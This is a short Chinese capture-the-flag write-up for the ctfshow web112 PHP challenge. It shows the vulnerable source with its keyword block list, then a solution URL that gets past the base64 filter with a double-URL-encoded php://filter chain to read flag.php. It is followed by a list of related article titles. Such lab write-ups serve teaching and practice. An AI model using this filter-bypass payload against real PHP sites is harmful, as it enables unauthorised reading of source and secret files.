目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49*/highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

思路

这题考点是用伪协议来读取文件,看到base64被过滤,想到Y1ng师傅之前叫我的一个非预期的小技巧,convert.base-encode64部分可以二次编码绕过

题解

http://c2e76d57-4b35-4abe-9814-64d6a55fda80.challenge.ctf.show/?file=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php

解码拿到flag


总结

水题

CTFshow php特性 web112相关推荐

  1. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  2. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 23个MySQL常用查询语句
  2. 三大框架开发时,spring配置文件出现异常
  3. 如何设计一个 RPC 系统
  4. sgi allocate
  5. 国际智商测试皮肤软件,爆火的口服玻尿酸,是美容神器还是智商税?
  6. viper4android 生效,另一种让V4a音效在Poweramp上生效的方法
  7. CF750G New Year and Binary Tree Paths(数位dp二进制+数学)
  8. catia直线测距怎么调出来_CATIA怎么测量两线夹角.
  9. 如何在Ubuntu中使用root账号登录(新增Ubuntu12.04/14.04)?
  10. 一个合格的程序员,需要哪些必备技能?
  11. 答网友问:一个abs函数引发的问题
  12. 今晚鼓捣的audio.js一些小经验
  13. 【渝粤教育】国家开放大学2018年春季 0408-22T管理学基础 参考试题
  14. lamp php的ssl,ssh支持
  15. 阿帕奇,StringUtil工具类,各种常用字符串的处理
  16. keil安装及mdk
  17. 关于IP地址块聚合的一些问题
  18. 电子邮箱市场盈利模式
  19. 用Python寻找最优投资组合
  20. php海外话费充值游戏币,海外(国外)充值话费方法

热门文章

  1. JS 截取字符串及字符与数字转换
  2. 【开源推荐】AllJoyn:打造全球物联网的通用开源框架
  3. apt 卸载_你所不知道的apt-get
  4. CS通用项目系统搭建——三层架构第一天
  5. WebGL Shader 环境搭建
  6. 基于shiro的改造集成真正支持restful请求
  7. Django运维后台的搭建之一:使用model建立数据信息
  8. Excel信息提取之二
  9. Java Lambda表达式初探
  10. 使用锁实现多线程共用一个数据源